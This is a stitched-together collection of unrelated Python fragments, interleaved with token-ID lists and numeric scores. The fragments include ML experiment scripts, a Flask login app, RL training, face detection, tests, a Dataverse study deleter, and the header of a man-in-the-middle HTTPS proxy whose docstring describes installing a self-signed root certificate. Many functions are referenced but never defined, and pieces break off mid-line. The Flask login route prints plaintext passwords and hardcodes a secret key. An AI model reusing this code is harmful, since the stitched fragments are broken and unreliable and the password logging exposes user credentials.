to find the problems, then fix the code to work as indicated above.
"""
import datetime
from datetime import date
today = date.today() # Get today's date
print(next_date(str(today)))
# Should return a year from today, unless today is Leap Day
print(next_date("2021-01-01")) # Should return 2022-01-01
print(next_date("2020-02-29")) # Should return 2024-02-29
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] | 3.817891 | 313 |
from __future__ import division
import json
import numpy as np
import matplotlib.pyplot as plt
import time
import random
from sklearn.linear_model import LogisticRegressionCV
from sklearn.ensemble import RandomForestClassifier as RFC
import pandas as pd
import operator
from sklearn.metrics import roc_curve, precision_recall_curve, precision_recall_fscore_support
print 'IMPORTANT: experiment can be modified by changing parameter combinations in main function!'
print 'loading data...'
part1_pos_10 = json.loads(open("new_dedup_part1_pos_10.json").read()) # 1552
part1_pos_200 = json.loads(open("new_dedup_part1_pos_200_embed.json").read())
part1_pos_walk_200 = json.loads(open("new_dedup_part1_pos_200_walk.json").read())
part2_pos_10 = json.loads(open("new_dedup_part2_pos_10.json").read()) # 24251
part2_pos_200 = json.loads(open("new_dedup_part2_pos_200_embed.json").read())
part2_pos_walk_200 = json.loads(open("new_dedup_part2_pos_200_walk.json").read())
part3_pos_10 = json.loads(open("new_dedup_part3_pos_10.json").read()) # 1353
part3_pos_200 = json.loads(open("new_dedup_part3_pos_200_embed.json").read())
part3_pos_walk_200 = json.loads(open("new_dedup_part3_pos_200_walk.json").read())
part4_pos_10 = json.loads(open("new_dedup_part4_pos_10.json").read()) # 3399
part4_pos_200 = json.loads(open("new_dedup_part4_pos_200_embed.json").read())
part4_pos_walk_200 = json.loads(open("new_dedup_part4_pos_200_walk.json").read())
part5_pos_10 = json.loads(open("new_dedup_part5_pos_10.json").read()) # 11692
part5_pos_200 = json.loads(open("new_dedup_part5_pos_200_embed.json").read())
part5_pos_walk_200 = json.loads(open("new_dedup_part5_pos_200_walk.json").read())
global_pos_10 = json.loads(open("new_dedup_global_pos_10.json").read()) # 1552
global_pos_200 = json.loads(open("new_dedup_global_pos_200_embed.json").read())
global_pos_walk_200 = json.loads(open("new_dedup_global_pos_200_walk.json").read())
global_neg_10 = json.loads(open("new_dedup_global_neg_10.json").read()) # 1552
global_neg_200 = json.loads(open("new_dedup_global_neg_200_embed.json").read())
global_neg_walk_200 = json.loads(open("new_dedup_global_neg_200_walk.json").read())
# combinations of each partition
# 901
part1_pos_10_walk = combineData(source1_pos=part1_pos_10, source2_pos=part1_pos_walk_200)
part1_pos_10_walk_dv = combineData(source1_pos=part1_pos_10, source3_pos=part1_pos_200, source2_pos=part1_pos_walk_200)
# 12294
part2_pos_10_walk = combineData(source1_pos=part2_pos_10, source2_pos=part2_pos_walk_200)
part2_pos_10_walk_dv = combineData(source1_pos=part2_pos_10, source3_pos=part2_pos_200, source2_pos=part2_pos_walk_200)
# 895
part3_pos_10_walk = combineData(source1_pos=part3_pos_10, source2_pos=part3_pos_walk_200)
part3_pos_10_walk_dv = combineData(source1_pos=part3_pos_10, source3_pos=part3_pos_200, source2_pos=part3_pos_walk_200)
# 1992
part4_pos_10_walk = combineData(source1_pos=part4_pos_10, source2_pos=part4_pos_walk_200)
part4_pos_10_walk_dv = combineData(source1_pos=part4_pos_10, source3_pos=part4_pos_200, source2_pos=part4_pos_walk_200)
# 5952
part5_pos_10_walk = combineData(source1_pos=part5_pos_10, source2_pos=part5_pos_walk_200)
part5_pos_10_walk_dv = combineData(source1_pos=part5_pos_10, source3_pos=part5_pos_200, source2_pos=part5_pos_walk_200)
(combPos_10_walk, combNeg_10_walk) = combineData(source1_pos=global_pos_10,
source1_neg=global_neg_10,
source2_pos=global_pos_walk_200,
source2_neg=global_neg_walk_200,
source3_pos=None,
source3_neg=None)
(combPos_10_walk_dv, combNeg_10_walk_dv) = combineData(source1_pos=global_pos_10,
source1_neg=global_neg_10,
source2_pos=global_pos_walk_200,
source2_neg=global_neg_walk_200,
source3_pos=global_pos_200,
source3_neg=global_neg_200)
# functions
# general function for taking samples from a list
print 'defining function...'
# averaging the results from trials
# input should be lists of 10 or 210 dimensions
# trialsWithVariedTrainSize
if __name__ == "__main__":
# experiment execution
print "start training..."
print 'part1 vs others classifer...'
# 10_walk_dv
print "train part1 test other parts with 10_walk_dv..."
(part1_10_walk_dv, generalResultsPosNumRef) = trialsWithVariedTrainSize(num_pos_sample=901,
num_pos_sample_cap=901,
neg_pos_ratio=1,
pos_training_dataset=part1_pos_10_walk_dv,
pos_testing_dataset=part2_pos_10_walk_dv + part3_pos_10_walk_dv + part4_pos_10_walk_dv + part5_pos_10_walk_dv,
neg_dataset=combNeg_10_walk_dv,
train_test_split=0,
test_stratify=True,
scoring="f1",
plt_or_not=False,
save=False)
targ = part1_10_walk_dv
max_f1 = max(targ[0][3]) # 0.5885
index_max_f1 = targ[0][3].index(max(targ[0][3])) # 73
prec_at_max_f1 = targ[0][1][index_max_f1] # 0.5536
rec_at_max_f1 = targ[0][2][index_max_f1] # 0.6204
print "index: %d, f1: %f, prec: %f, rec: %f" % (
index_max_f1, round(max_f1, 4), round(prec_at_max_f1, 4), round(rec_at_max_f1, 4))
print 'done!'
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# app.py
import pprint
import json
import bson
import jwt
import pymongo
import mongomock
import requests
from flask import Flask
from flask import jsonify
from flask import request
from flask import Response
from flask import abort
from flask import json,jsonify, make_response,session
from flask import render_template,request,redirect,url_for
from apymongodb import APymongodb
import reviewapi
import query
SECRET_KEY = "Secret Key"
#app = Flask(__name__)
#app.config.from_object(__name__)
# create flask instance
app=create_app()
app = Flask(__name__)
app.config.from_object(__name__)
mongodb_uri="project-mongodb"
login_uri="porject-login-flask"
endpoint_access = {'N': ['login'],
'S': ['login']}
def mock_project_mongo_db():
"""
create a mock db for usint testing.
"""
mock_pymondb = APymongodb(test=True)
mock_pymondb.create_db_from_csv()
mock_pymondb.create_auth_db()
return mock_pymondb.db
@app.route('/',methods=['GET'])
def hello_world():
"""
default route for the Team Elf's home page
"""
return '<h1 align=center>Hello, Welcome to the Project webserver of team ELFs</h1>'
@app.route('/maps',methods=['GET'])
def maps():
"""
default route for the Team Elf's home page
"""
return render_template('maps.html',response=request.response)
@app.route('/login', methods=['POST','GET'])
def app_login():
"""
the route for login. This will talk to a standalone app which is running in
the container login-flask:5000
"""
error=None
if app.testing:
return bson.json_util.dumps({'status': 'success'})
else:
print("received requests")
if request.method == 'POST':
try:
#print("request data from browser:", request.data)
#print("request data from browser:", json.loads(request.data))
#rcv_login_req = json.loads(request.data)
#print("request json from browser:", rcv_login_req)
email_addr=request.form['username']
password=request.form['password']
print(email_addr, ",", password)
rcv_login_req={'email_address':email_addr, 'password':password}
# request the login-app to authenticate the user
#pdata1 = {'email_address':'[email protected]', 'password':'5f4dcc3b5aa765d61d8327deb882cf99'}
headers = {'content-type': 'application/json'}
r = requests.post('http://project-login-flask:5000/login', data=bson.json_util.dumps(rcv_login_req), headers=headers)
#print("send request", dir(r))
#r = requests.get('http://login-flask:5000/')
#print("response:", dir(r))
print("response.text:", r.text)
print("response.status_code", r.status_code)
#print("response.json", r.json)
# TODO: Return the JWT here
session['Authorization']=json.loads(r.text)['auth_token']
#return redirect(url_for('order_books'))
#return render_template('login_success.html', error=error)
return '<h1>'+"Success"+'</h1>'
except Exception as e:
print("exception:", str(e))
#return '<h1>'+"error"+'</h1>'
return render_template('login.html', error=error)
@app.route('/review/<string:listing_id>', methods=['GET'])
@app.route('/loginsuccess', methods=['GET'])
# Test using -> curl -X POST -H 'Content-Type: application/json' http://127.0.0.1/getlistings -d '{"bedrooms":"5.0"}'
# See https://gist.github.com/subfuzion/08c5d85437d5d4f00e58
# Run project/run_proj.sh
#http://ec2-18-191-206-216.us-east-2.compute.amazonaws.com/getlistings?zipcode=3018&bedrooms=1&accomodates=0
@app.route('/getlistings', methods=['GET'])
if __name__ == '__main__':
# app = Flask(__name__)
app.run(host='127.0.0.1',port=5000,debug=True)
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] | 2.357317 | 1,640 |
#!/usr/bin/env python3.8
import pyperclip
import random
import string
from py_lock import personas, profiles
if __name__ == '__main__':
main()
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s=Set([1,2,3])
s.add(4)
print s
print ("contains 5,",s.contains(5))
print ("contains 4,",s.contains(4))
s.remove(3)
print (s)
print ("contains 3,",s.contains(3))
| [
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] | 2.02439 | 82 |
import os
import sys
import argparse
import subprocess
import torch
import numpy as np
import time
import gym
import pybullet
import pybullet_envs
from mpi4py import MPI
comm = MPI.COMM_WORLD
from bevodevo.policies.rnns import GatedRNNPolicy
from bevodevo.policies.cnns import ImpalaCNNPolicy
from bevodevo.policies.mlps import MLPPolicy, CPPNMLPPolicy, CPPNHebbianMLP,\
HebbianMLP, ABCHebbianMLP, HebbianMetaMLP, ABCHebbianMetaMLP
from bevodevo.algos.es import ESPopulation, ConstrainedESPopulation
from bevodevo.algos.cmaes import CMAESPopulation
from bevodevo.algos.pges import PGESPopulation
from bevodevo.algos.nes import NESPopulation
from bevodevo.algos.ga import GeneticPopulation
from bevodevo.algos.random_search import RandomSearch
#from bevodevo.algos.vpg import VanillaPolicyGradient
#from bevodevo.algos.dqn import DQN
if __name__ == "__main__":
parser = argparse.ArgumentParser("Experiment parameters")
parser.add_argument("-n", "--env_name", type=str, \
help="name of environemt", default="InvertedPendulumBulletEnv-v0")
parser.add_argument("-p", "--population_size", type=int,\
help="number of individuals in population", default=64)
parser.add_argument("-w", "--num_workers", type=int,\
help="number of cpu thread workers", default=0)
parser.add_argument("-a", "--algorithm", type=str,\
help="name of es learning algo", default="ESPopulation")
parser.add_argument("-pi", "--policy", type=str,\
help="name of policy architecture", default="MLPPolicy")
parser.add_argument("-g", "--generations", type=int,\
help="number of generations", default=50)
parser.add_argument("-t", "--performance_threshold", type=float,\
help="performance threshold to use for early stopping", default=float("Inf"))
parser.add_argument("-x", "--exp_name", type=str, \
help="name of experiment", default="temp_exp")
parser.add_argument("-s", "--seeds", type=int, nargs="+", default=42,\
help="seed for initializing pseudo-random number generator")
args = parser.parse_args()
if "BalanceBot" in args.env_name \
or "Duck" in args.env_name \
or "Cube" in args.env_name \
or "Sphere" in args.enve_name:
import open_safety.envs
if "-v" not in args.env_name:
args.env_name += "-v0"
if type(args.seeds) is not list:
args.seeds = [args.seeds]
train(args)
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60,
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220,
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4512,
7,
22046,
8,
198,
220,
220,
220,
220,
198
] | 2.523232 | 990 |
# from django.db import models
from django.contrib.auth.models import AbstractUser
from django.db import models
# Create your models here. | [
2,
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
MIT License
Copyright (c) 2020 Rémi Flamary
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import numpy as np
import numpy as np
import cv2
import os
path_classif=os.path.dirname(__file__)+'/../data/models/haarcascade_frontalface_default.xml'
cam=os.getenv("CAMERA")
if cam is None:
cap = cv2.VideoCapture(0)
else:
cap = cv2.VideoCapture(int(cam))
face_cascade = cv2.CascadeClassifier(path_classif)
#screenshot index index
idscreen=0
while(True):
# Capture frame-by-frame
ret, frame = cap.read()
img=frame
# apply detector
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
# print rectangles for detected faces
for (x,y,w,h) in faces:
img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
roi_gray = gray[y:y+h, x:x+w]
roi_color = img[y:y+h, x:x+w]
# Display the resulting frame
cv2.imshow('Face detection',img)
key=cv2.waitKey(1)
if (key & 0xFF) in [ ord('q')]:
break
if (key & 0xFF) in [ ord('s')]:
cv2.imwrite("screen_{}.png".format(idscreen),img*255)
idscreen+=1
# When everything done, release the capture
cap.release()
cv2.destroyAllWindows()
| [
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9,
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2,
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20979,
3419,
198,
33967,
17,
13,
41659,
3237,
11209,
3419,
198
] | 2.735187 | 827 |
import googleSheetsApi
import eloCalculator
if __name__ == '__main__':
main() | [
11748,
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] | 2.645161 | 31 |
"""Test cli_parser."""
# 3rd Party
from pyiem.util import utc
import pytest
# Local
import pywwa
from pywwa.workflows import cli_parser
from pywwa.testing import get_example_file
@pytest.mark.parametrize("database", ["iem"])
def test_processor(cursor):
"""Test basic parsing."""
data = get_example_file("CLI.txt")
pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51)
prod = cli_parser.processor(cursor, data)
assert prod.valid == pywwa.CTX.utcnow
@pytest.mark.parametrize("database", ["iem"])
def test_two_clis(cursor):
"""Test parsing ye infamous double CLI."""
cursor.execute(
"select max_tmpf from summary_2014 s JOIN stations t "
"on (s.iemid = t.iemid) WHERE t.id in ('HOU', 'IAH') "
"and day = '2014-11-30'"
)
data = get_example_file("CLIHOU.txt")
prod = cli_parser.processor(cursor, data)
assert len(prod.data) == 2
@pytest.mark.parametrize("database", ["iem"])
def test_bad_station(cursor):
"""Test what happens when we have an unknown station."""
data = get_example_file("CLI.txt").replace("CLIFGF", "CLIXXX")
pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51)
prod = cli_parser.processor(cursor, data)
assert prod is not None
| [
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8,
198,
220,
220,
220,
6818,
40426,
318,
407,
6045,
198
] | 2.446465 | 495 |
# -*- coding: utf-8 -*-
"""
Metaclass as interface for the health service
"""
from abc import ABCMeta, abstractmethod
| [
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] | 3.076923 | 39 |
# chat/routing.py
from django.conf.urls import url
from . import consumers
websocket_urlpatterns = [
url(r'^api/ws/notifications', consumers.NotificationsConsumer),
]
| [
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] | 2.883333 | 60 |
# (C) Copyright 2010-2020 Enthought, Inc., Austin, TX
# All rights reserved.
import copy
from unittest import mock, TestCase
from pyface.api import OK, CANCEL
from pyface.file_dialog import FileDialog
from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant
from pyface.tasks.api import TaskWindow
from force_bdss.tests.probe_classes.factory_registry import (
ProbeFactoryRegistry,
)
from force_bdss.api import Workflow
from force_wfmanager.tests.dummy_classes.dummy_contributed_ui import (
DummyContributedUI,
)
from force_wfmanager.ui.review.data_view_pane import DataViewPane
from force_wfmanager.ui.setup.setup_pane import SetupPane
from force_wfmanager.ui.setup.side_pane import SidePane
from force_wfmanager.ui.review.results_pane import ResultsPane
from force_wfmanager.model.analysis_model import AnalysisModel
from .mock_methods import mock_file_writer, mock_dialog, mock_return_args
from force_wfmanager.tests.dummy_classes.dummy_wfmanager import DummyWfManager
from force_wfmanager.wfmanager_review_task import WfManagerReviewTask
from force_wfmanager.wfmanager_setup_task import WfManagerSetupTask
FILE_DIALOG_PATH = "force_wfmanager.wfmanager_setup_task.FileDialog"
RESULTS_FILE_DIALOG_PATH = "force_wfmanager.wfmanager_review_task.FileDialog"
RESULTS_FILE_OPEN_PATH = "force_wfmanager.io.project_io.open"
RESULTS_JSON_DUMP_PATH = "force_wfmanager.io.project_io.json.dump"
RESULTS_JSON_LOAD_PATH = "force_wfmanager.io.project_io.json.load"
RESULTS_WRITER_PATH = (
"force_wfmanager.io.project_io.WorkflowWriter.get_workflow_data"
)
RESULTS_READER_PATH = "force_wfmanager.io.project_io.WorkflowReader"
RESULTS_ERROR_PATH = "force_wfmanager.wfmanager_review_task.error"
ANALYSIS_WRITE_PATH = (
"force_wfmanager.io.analysis_model_io.write_analysis_model"
)
ANALYSIS_FILE_OPEN_PATH = "force_wfmanager.model.analysis_model.open"
| [
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62,
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62,
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62,
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3536,
13,
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13,
20930,
62,
19849,
13,
9654,
1,
628,
628
] | 2.812312 | 666 |
# -*- encoding: utf-8 -*-
#
# Copyright © 2017 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
# NOTE(sileht): usefull for gunicon, not really for uwsgi
# import gevent
# import gevent.monkey
# gevent.monkey.patch_all()
import hmac
import logging
import os
import flask
import github
import lz4.block
import requests
import rq
import rq_dashboard
import ujson
from pastamaker import config
from pastamaker import utils
from pastamaker import worker
LOG = logging.getLogger(__name__)
app = flask.Flask(__name__)
app.config.from_object(rq_dashboard.default_settings)
app.register_blueprint(rq_dashboard.blueprint, url_prefix="/rq")
app.config["REDIS_URL"] = utils.get_redis_url()
app.config["RQ_POLL_INTERVAL"] = 10000 # ms
@app.route("/auth", methods=["GET"])
@app.route("/refresh/<owner>/<repo>/<path:refresh_ref>",
methods=["POST"])
@app.route("/refresh", methods=["POST"])
@app.route("/queue/<owner>/<repo>/<path:branch>")
@app.route("/status")
@app.route('/status/stream')
@app.route("/event", methods=["POST"])
@app.route("/")
@app.route("/favicon.ico")
@app.route("/fonts/<file>")
@app.route("/login")
@app.route("/logged/<installation_id>")
| [
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31,
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69,
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198,
31,
1324,
13,
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7203,
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82,
14,
27,
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29,
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198,
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31,
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14,
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4943,
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31,
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38629,
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14,
6404,
2004,
14,
27,
17350,
341,
62,
312,
29,
4943,
198
] | 2.835821 | 603 |
# Generated by Django 3.2.6 on 2021-08-26 06:57
from django.db import migrations, models
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2,
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] | 2.84375 | 32 |
import functools
from spaceone.api.inventory.v1 import network_pb2
from spaceone.core.pygrpc.message_type import *
from spaceone.inventory.model.network_model import Network
from spaceone.inventory.info.zone_info import ZoneInfo
from spaceone.inventory.info.region_info import RegionInfo
__all__ = ['NetworkInfo', 'NetworksInfo']
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] | 3.408163 | 98 |
import sys
import logging
import math
from pathlib import Path
from pydantic import BaseModel
from typing import *
import PyPDF2
from reportlab.lib.units import mm, inch
logging.basicConfig(format='%(asctime)s,%(msecs)d | %(levelname)-8s | %(filename)s:%(funcName)s:%(lineno)d - %(message)s',
datefmt='%Y-%m-%d:%H:%M:%S',
level=logging.DEBUG)
log = logging.getLogger(__name__)
pt2mm = 0.3527777778
if __name__ == "__main__":
main()
pass
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] | 2.181416 | 226 |
#!/usr/bin/env python3
import sys; assert sys.version_info[0] >= 3, "Python 3 required."
from .group_hash import group_hash
from .pallas import Fp, Scalar
from .sinsemilla import sinsemilla_hash_to_point
from ..utils import i2lebsp
# Commitment schemes used in Orchard https://zips.z.cash/protocol/nu5.pdf#concretecommit
# https://zips.z.cash/protocol/nu5.pdf#constants
L_ORCHARD_BASE = 255
# https://zips.z.cash/protocol/nu5.pdf#concretehomomorphiccommit
# https://zips.z.cash/protocol/nu5.pdf#concretesinsemillacommit
# https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit
# https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit
# Test consistency of ValueCommit^{Orchard} with precomputed generators
if __name__ == '__main__':
test_value_commit()
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270,
198,
198,
2,
6208,
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286,
11052,
6935,
270,
36796,
5574,
30215,
92,
351,
662,
785,
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198,
198,
361,
11593,
3672,
834,
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705,
834,
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834,
10354,
198,
220,
220,
220,
1332,
62,
8367,
62,
41509,
3419,
198
] | 2.687285 | 291 |
# coding:utf-8
import logging
import os
import select
import zlib
import chardet
import time
from http.client import HTTPResponse
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
from urllib.parse import urlparse, ParseResult, urlunparse
from tempfile import gettempdir
from ssl import wrap_socket, SSLError
from socket import socket
from OpenSSL.crypto import (
load_certificate,
FILETYPE_PEM,
TYPE_RSA,
PKey,
X509,
X509Extension,
dump_privatekey,
dump_certificate,
load_privatekey,
X509Req,
)
"""
该文件并未项目核心功能，仅作辅助脚本使用
感谢baseproxy项目。原项目地址https://github.com/qiyeboy/BaseProxy，具体详细操作方法请见原项目，步骤简述如下
1. 设置代理，开启服务
2. 下载证书http://baseproxy.ca/，并安装至本机(受信任的根证书颁发机构)
3. 配置完成，每次使用之前开启系统代理即可
为方便使用，在代码上进行了一定的修改，大部分内容来源于，https://github.com/qiyeboy/BaseProxy/blob/master/baseproxy/proxy.py
1. 修改部分函数名，变量名，函数，尽量保持与mitmproxy一致
2. 由于项目主要目的是拦截，并非篡改，增加了对链接过滤功能。若链接不包含相关字符，则不做操作，直接返回。ProxyHandle中的`self.filter_url_lst`
二次引用，若有冒犯原作者之处，敬请指出，将删除该文件。
"""
__all__ = [
"CAAuth",
"ProxyHandle",
"ReqIntercept",
"RspIntercept",
"MitmProxy",
"AsyncMitmProxy",
"Request",
"Response",
]
logging.basicConfig(
level=logging.INFO,
format="[%(asctime)s] %(levelname)s %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
class CAAuth(object):
"""
用于CA证书的生成以及代理证书的自签名
"""
@property
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] | 1.381413 | 1,033 |
#!/usr/bin/env python
# Copyright 2011-2013 Pierre de Buyl
#
# This file is part of f90h5md
#
# f90h5md is free software and is licensed under the modified BSD license (see
# LICENSE file).
types = dict()
types['i'] = 'integer'
types['d'] = 'double precision'
H5T = dict()
H5T['i'] = 'H5T_NATIVE_INTEGER'
H5T['d'] = 'H5T_NATIVE_DOUBLE'
dims = dict()
dims['s'] = ''
dims['1'] = '(:)'
dims['2'] = '(:,:)'
dims['3'] = '(:,:,:)'
dims['4'] = '(:,:,:,:)'
for t_k,t_v in types.iteritems():
for d_k,d_v in dims.iteritems():
if (d_k == 's'):
rank = 1
else:
rank = int(d_k)+1
s=''
s+=""" !> Sets up a h5md_t variable.
!! @param file_id ID of the file.
!! @param name Name of the observable
!! @param ID Resulting h5md_t variable
!! @param data The data that will fit into the observable.
!! @param link_from Indicates if the step and time for this observable should be linked from another one.
!! @param override_obs Indicates if the data should be stored outside of /observables.
!! @private"""
s+="""
subroutine h5md_create_obs_%s%s(file_id, name, ID, data, link_from, override_obs)
integer(HID_T), intent(inout) :: file_id
character(len=*), intent(in) :: name
type(h5md_t), intent(out) :: ID
%s, intent(in) :: data%s
character(len=*), intent(in), optional :: link_from
character(len=*), intent(in), optional :: override_obs
integer(HID_T) :: file_s, plist, g_id
integer(HSIZE_T), allocatable :: dims(:), max_dims(:), chunk_dims(:)
integer :: rank
character(len=64) :: g_name
if (present(override_obs)) then
g_name = override_obs
else
g_name = 'observables'
end if
call h5gcreate_f(file_id, trim(g_name)//'/'//name, g_id, h5_error)
rank = %i
allocate(dims(rank)) ; allocate(max_dims(rank)) ; allocate(chunk_dims(rank))
""" % (t_k,d_k, t_v, d_v, rank )
if (d_k!='s'):
s+="""
dims(1:%i) = shape(data)
max_dims(1:%i) = shape(data)
chunk_dims(1:%i) = shape(data)
""" % (rank-1, rank-1, rank-1)
s+="""
dims(%i) = 0
max_dims(%i) = H5S_UNLIMITED_F
call h5screate_simple_f(rank, dims, file_s, h5_error, max_dims)
chunk_dims(%i) = 128
call h5pcreate_f(H5P_DATASET_CREATE_F, plist, h5_error)
call h5pset_chunk_f(plist, rank, chunk_dims, h5_error)
call h5dcreate_f(g_id, 'value', %s, file_s, ID%% d_id, h5_error, plist)
call h5pclose_f(plist, h5_error)
call h5sclose_f(file_s, h5_error)
deallocate(dims) ; deallocate(max_dims) ; deallocate(chunk_dims)
if (present(link_from)) then
call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/step', g_id, 'step', h5_error)
call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/time', g_id, 'time', h5_error)
else
call h5md_create_step_time(g_id)
end if
call h5dopen_f(g_id, 'step', ID%% s_id, h5_error)
call h5dopen_f(g_id, 'time', ID%% t_id, h5_error)
call h5gclose_f(g_id, h5_error)
end subroutine h5md_create_obs_%s%s
""" % (rank,rank,rank, H5T[t_k],t_k,d_k)
print s
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] | 2.104768 | 1,489 |
#!python
'''Dataverse Bulk Deleter
Deletes unpublished studies at the command line
'''
import argparse
#import json
import sys
import requests
VERSION = (0, 2, 1)
__version__ = '.'.join([str(x) for x in VERSION])
def delstudy(dvurl, key, pid):
'''
Deletes Dataverse study
dvurl : str
Dataverse installation base URL
key : str
Dataverse user API key
pid : str
Dataverse collection study persistent identifier
'''
try:
deler = requests.delete(f'{dvurl}/api/datasets/:persistentId/versions/:draft',
headers={'X-Dataverse-key':key},
params={'persistentId':pid},
timeout=30)
if deler.status_code == 200:
return f'Deleted {pid}'
deler.raise_for_status()
return None
except requests.exceptions.HTTPError:
return f'Failed to delete {pid}. \n Message: {deler.text}'
def conf(tex):
'''
Confirmation dialogue checker. Returns true if "Y" or "y"
'''
yes = input(f'Delete {tex}? ')
if yes.lower() == 'y':
return True
return False
def getsize(dvurl, pid, key):
'''
Returns size of Dataverse study. Mostly here for debugging.
dvurl : str
Dataverse installation base URL
pid : str
Dataverse collection study persistent identifier
key : str
Dataverse user API key
'''
try:
sizer = requests.get(f'{dvurl}/api/datasets/:persistentId/storagesize',
headers={'X-Dataverse-key':key},
params={'persistentId':pid},
timeout=10)
text = sizer.json()['data']['message']
text = text[text.rfind(':')+2 : -6]
text = text.split(',')
size = int(''.join(text))
sleeptime = text//1024//1024/10 # sleep for 1/10th sec per megabyte
return (size, sleeptime)
except requests.exceptions.HTTPError:
return (0, 0)
def main():
'''
Command line bulk deleter
'''
parser = argparse.ArgumentParser(description='Delete draft studies from a Dataverse collection')
parser.add_argument('-k', '--key', help='Dataverse user API key', required=True, dest='key')
group = parser.add_mutually_exclusive_group()
group.add_argument('-d', '--dataverse',
help=('Dataverse collection short name from which '
'to delete all draft records. eg. "ldc"'),
dest='dataverse')
group.add_argument('-p', '--persistentId',
help='Handle or DOI to delete in format hdl:11272.1/FK2/12345',
dest='pid')
parser.add_argument('-i', '--interactive',
help="Confirm each study deletion",
action='store_true', dest='conf')
parser.add_argument('-u', '--url', help='URL to base Dataverse installation',
default='https://soroban.library.ubc.ca', dest='dvurl')
parser.add_argument('--version', action='version',
version='%(prog)s '+__version__,
help='Show version number and exit')
args = parser.parse_args()
args.dvurl = args.dvurl.strip('/')
if args.dataverse:
info = requests.get(f'{args.dvurl}/api/dataverses/{args.dataverse}/contents',
headers={'X-Dataverse-key': args.key}, timeout=10).json()
pids = [f'{x["protocol"]}:{x["authority"]}/{x["identifier"]}' for x in info['data']]
if not pids:
print(f'Dataverse collection {args.dataverse} empty')
for pid in pids:
try:
if args.conf:
if conf(pid):
print(delstudy(args.dvurl, args.key, pid))
continue
print(f'Skipping {pid}')
continue
print(delstudy(args.dvurl, args.key, pid))
#time.sleep(getsize(pid, args.key)[1])#Will this stop the server crash?
except KeyboardInterrupt:
print('Aborted by user')
sys.exit()
if args.pid:
if args.conf:
if conf(args.pid):
print(delstudy(args.dvurl, args.key, args.pid))
else:
print(f'Aborting delete of {args.pid}')
else:
print(delstudy(args.dvurl, args.key, args.pid))
if __name__ == '__main__':
main()
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220,
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] | 2.042831 | 2,218 |
# -*- coding: utf-8 -*-
from acttypes import ActType
class Act(object):
""" basic action class.
"""
class Title(Act):
""" For title act
"""
class Chapter(Act):
""" For chapter start act
"""
class Description(Act):
""" Nothing subject description act.
"""
class Person(object):
""" basic character class.
"""
def tell(self, what, desc="", with_subject=False):
''' For dialogue
'''
return Act(self, ActType.TELL, "「{}」".format(what), desc, with_subject)
class Stage(object):
""" basic stage class.
"""
class Item(object):
""" basic item class.
"""
class DayTime(object):
""" basic day and time class.
"""
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] | 2.640741 | 270 |
from django.contrib.auth import get_user_model
from .oauth2_backends import get_oauthlib_core
UserModel = get_user_model()
OAuthLibCore = get_oauthlib_core()
class OAuth2Backend:
"""
Authenticate against an OAuth2 access token
"""
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from py3o.template import Template
t = Template(
"py3o_example_template_single_cell.odt",
"py3o_example_output_single_cell.odt"
)
t.set_image_path('staticimage.logo', 'images/new_logo.png')
items = list()
item1 = Item()
item1.val1 = 'Item1 Value1'
item1.val2 = 'Item1 Value2'
item1.val3 = 'Item1 Value3'
item1.Currency = 'EUR'
item1.Amount = '12,345.35'
item1.InvoiceRef = '#1234'
items.append(item1)
for i in xrange(1000):
item = Item()
item.val1 = 'Item%s Value1' % i
item.val2 = 'Item%s Value2' % i
item.val3 = 'Item%s Value3' % i
item.Currency = 'EUR'
item.Amount = '6,666.77'
item.InvoiceRef = 'Reference #%04d' % i
items.append(item)
document = Item()
document.total = '9,999,999,999,999.999'
data = dict(items=items, document=document)
t.render(data)
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] | 2.153453 | 391 |
num1 = float(input("Number 1: "))
num2 = float(input("Wumber 2: "))
operation = input("Which operation (+,-,/,*): ")
if operation == "+":
print(f"The sum is {num1 + num2}")
if operation == "-":
print(f"The difference is {num1 - num2}")
if operation == "/":
if num2 != 0:
print(f"The quotient is {num1 / num2}")
else:
print("Cannot divide any number by zero!")
if operation == "*":
print(f"The product is {num1 * num2}")
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] | 2.4 | 195 |
__all__ = ('IntegrationDetail', )
from ..core import ROLES
from ..utils import timestamp_to_datetime, DISCORD_EPOCH_START
from ..role import create_partial_role_from_id
from .preinstanced import IntegrationExpireBehavior
class IntegrationDetail:
"""
Details about a non discord integration.
Attributes
----------
expire_behavior : ``IntegrationExpireBehavior``
The behavior of expiring subscription.
expire_grace_period : `int`
The grace period in days for expiring subscribers. Can be `1`, `3`, `7`, `14` or `30`. If the integration is
partial, or is not applicable for it, then is set as `-1`.
role_id : `int`
